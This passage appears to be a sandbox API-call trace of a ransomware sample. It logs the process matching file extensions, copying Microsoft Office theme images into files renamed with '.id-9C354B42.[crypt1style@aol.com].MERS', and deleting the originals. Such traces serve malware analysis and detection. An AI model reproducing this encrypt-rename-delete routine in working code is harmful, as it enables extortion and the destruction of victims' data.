lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.891] lstrlenW (lpString=".docx") returned 5 [0049.891] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.891] lstrlenW (lpString=".pdf") returned 4 [0049.891] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.891] lstrlenW (lpString=".xls") returned 4 [0049.900] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.900] lstrlenW (lpString=".xlsx") returned 5 [0049.900] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.900] lstrlenW (lpString=".ppt") returned 4 [0049.900] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0049.900] lstrlenW (lpString=".zip") returned 4 [0049.900] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.900] lstrlenW (lpString=".rar") returned 4 [0049.900] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.900] lstrlenW (lpString=".bz2") returned 4 [0049.900] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.900] lstrlenW (lpString=".7z") returned 3 [0049.900] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0049.900] lstrlenW (lpString=".dbf") returned 4 [0049.900] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0049.900] lstrlenW (lpString=".1cd") returned 4 [0049.900] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0049.900] lstrlenW (lpString=".jpg") returned 4 [0049.900] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0049.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0049.900] lstrlenW (lpString=".doc") returned 4 [0049.900] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.900] lstrlenW (lpString=".docx") returned 5 [0049.901] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.901] lstrlenW (lpString=".pdf") returned 4 [0049.901] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.901] lstrlenW (lpString=".xls") returned 4 [0049.901] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.901] lstrlenW (lpString=".xlsx") returned 5 [0049.901] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.901] lstrlenW (lpString=".ppt") returned 4 [0049.901] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0049.901] lstrlenW (lpString=".zip") returned 4 [0049.901] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.901] lstrlenW (lpString=".rar") returned 4 [0049.901] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.901] lstrlenW (lpString=".bz2") returned 4 [0049.901] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.901] lstrlenW (lpString=".7z") returned 3 [0049.901] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0049.901] lstrlenW (lpString=".dbf") returned 4 [0049.901] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0049.901] lstrlenW (lpString=".1cd") returned 4 [0049.901] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0049.901] lstrlenW (lpString=".jpg") returned 4 [0049.901] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.901] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0049.901] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0049.939] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=53115) returned 1 [0049.939] CloseHandle (hObject=0x1ec) returned 1 [0049.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0049.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0049.940] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.940] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0049.940] GetLastError () returned 0x0 [0049.940] ReadFile (in: hFile=0x1ec, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0xcf7b, lpOverlapped=0x0) returned 1 [0050.021] WriteFile (in: hFile=0x1d4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xcf80, lpOverlapped=0x0) returned 1 [0050.023] ReadFile (in: hFile=0x1ec, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.023] WriteFile (in: hFile=0x1d4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.023] SetEndOfFile (hFile=0x1d4) returned 1 [0050.023] CloseHandle (hObject=0x1d4) returned 1 [0050.023] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.023] SetEndOfFile (hFile=0x1ec) returned 1 [0050.024] CloseHandle (hObject=0x1ec) returned 1 [0050.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.025] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1 [0050.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0050.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0050.025] lstrlenW (lpString=".doc") returned 4 [0050.025] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.025] lstrlenW (lpString=".docx") returned 5 [0050.025] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.025] lstrlenW (lpString=".pdf") returned 4 [0050.025] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.025] lstrlenW (lpString=".xls") returned 4 [0050.025] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.025] lstrlenW (lpString=".xlsx") returned 5 [0050.025] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.025] lstrlenW (lpString=".ppt") returned 4 [0050.025] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0050.025] lstrlenW (lpString=".zip") returned 4 [0050.025] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.025] lstrlenW (lpString=".rar") returned 4 [0050.025] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.025] lstrlenW (lpString=".bz2") returned 4 [0050.025] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.025] lstrlenW (lpString=".7z") returned 3 [0050.025] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0050.025] lstrlenW (lpString=".dbf") returned 4 [0050.025] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0050.025] lstrlenW (lpString=".1cd") returned 4 [0050.025] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0050.025] lstrlenW (lpString=".jpg") returned 4 [0050.026] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.026] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.026] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0050.052] GetLastError () returned 0x0 [0050.052] ReadFile (in: hFile=0x1ec, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x1004, lpOverlapped=0x0) returned 1 [0050.286] WriteFile (in: hFile=0x1d4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x1010, lpOverlapped=0x0) returned 1 [0050.287] ReadFile (in: hFile=0x1ec, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.287] WriteFile (in: hFile=0x1d4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.287] SetEndOfFile (hFile=0x1d4) returned 1 [0050.287] CloseHandle (hObject=0x1d4) returned 1 [0050.287] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.287] SetEndOfFile (hFile=0x1ec) returned 1 [0050.288] CloseHandle (hObject=0x1ec) returned 1 [0050.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.289] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 1 [0050.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0050.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0050.289] lstrlenW (lpString=".doc") returned 4 [0050.289] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.289] lstrlenW (lpString=".docx") returned 5 [0050.289] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.289] lstrlenW (lpString=".pdf") returned 4 [0050.289] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.289] lstrlenW (lpString=".xls") returned 4 [0050.289] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.289] lstrlenW (lpString=".xlsx") returned 5 [0050.289] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.289] lstrlenW (lpString=".ppt") returned 4 [0050.289] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0050.289] lstrlenW (lpString=".zip") returned 4 [0050.289] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.289] lstrlenW (lpString=".rar") returned 4 [0050.289] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.289] lstrlenW (lpString=".bz2") returned 4 [0050.289] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.289] lstrlenW (lpString=".7z") returned 3 [0050.289] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0050.289] lstrlenW (lpString=".dbf") returned 4 [0050.289] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0050.290] lstrlenW (lpString=".1cd") returned 4 [0050.290] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0050.290] lstrlenW (lpString=".jpg") returned 4 [0050.290] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.508] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.508] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0050.508] GetLastError () returned 0x0 [0050.508] ReadFile (in: hFile=0x1f8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x8573, lpOverlapped=0x0) returned 1 [0050.613] WriteFile (in: hFile=0x1e8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x8580, lpOverlapped=0x0) returned 1 [0050.615] ReadFile (in: hFile=0x1f8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.615] WriteFile (in: hFile=0x1e8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.615] SetEndOfFile (hFile=0x1e8) returned 1 [0050.615] CloseHandle (hObject=0x1e8) returned 1 [0050.615] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.615] SetEndOfFile (hFile=0x1f8) returned 1 [0050.616] CloseHandle (hObject=0x1f8) returned 1 [0050.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.616] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 1 [0050.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0050.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0050.617] lstrlenW (lpString=".doc") returned 4 [0050.617] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.617] lstrlenW (lpString=".docx") returned 5 [0050.617] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.617] lstrlenW (lpString=".pdf") returned 4 [0050.617] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.617] lstrlenW (lpString=".xls") returned 4 [0050.617] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.617] lstrlenW (lpString=".xlsx") returned 5 [0050.617] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.617] lstrlenW (lpString=".ppt") returned 4 [0050.617] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0050.617] lstrlenW (lpString=".zip") returned 4 [0050.617] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.617] lstrlenW (lpString=".rar") returned 4 [0050.617] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.617] lstrlenW (lpString=".bz2") returned 4 [0050.617] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.617] lstrlenW (lpString=".7z") returned 3 [0050.617] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0050.617] lstrlenW (lpString=".dbf") returned 4 [0050.617] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0050.617] lstrlenW (lpString=".1cd") returned 4 [0050.617] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0050.617] lstrlenW (lpString=".jpg") returned 4 [0050.617] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.729] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.729] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0050.729] GetLastError () returned 0x0 [0050.729] ReadFile (in: hFile=0x180, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x5534, lpOverlapped=0x0) returned 1 [0050.758] WriteFile (in: hFile=0x21c, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x5540, lpOverlapped=0x0) returned 1 [0050.759] ReadFile (in: hFile=0x180, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.759] WriteFile (in: hFile=0x21c, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.759] SetEndOfFile (hFile=0x21c) returned 1 [0050.759] CloseHandle (hObject=0x21c) returned 1 [0050.759] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.759] SetEndOfFile (hFile=0x180) returned 1 [0050.760] CloseHandle (hObject=0x180) returned 1 [0050.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.760] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 1 [0050.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0050.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0050.761] lstrlenW (lpString=".doc") returned 4 [0050.761] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.761] lstrlenW (lpString=".docx") returned 5 [0050.761] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.761] lstrlenW (lpString=".pdf") returned 4 [0050.761] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.761] lstrlenW (lpString=".xls") returned 4 [0050.761] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.761] lstrlenW (lpString=".xlsx") returned 5 [0050.761] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.761] lstrlenW (lpString=".ppt") returned 4 [0050.761] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0050.761] lstrlenW (lpString=".zip") returned 4 [0050.761] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.761] lstrlenW (lpString=".rar") returned 4 [0050.761] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.761] lstrlenW (lpString=".bz2") returned 4 [0050.762] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.762] lstrlenW (lpString=".7z") returned 3 [0050.762] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0050.762] lstrlenW (lpString=".dbf") returned 4 [0050.762] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0050.762] lstrlenW (lpString=".1cd") returned 4 [0050.762] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0050.762] lstrlenW (lpString=".jpg") returned 4 [0050.762] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.763] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.763] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft 